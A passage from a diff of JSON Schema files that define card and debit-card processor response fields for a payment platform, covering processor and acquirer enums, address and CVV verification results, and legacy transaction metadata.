"STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" } }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" }, - "description": "Provider verification fields." + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } + "type": "object" }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "adapterVariant": { + "title": "Address Verification Results", + "type": "object" + }, + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "description": "Processor response for debit card", + "properties": { + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + 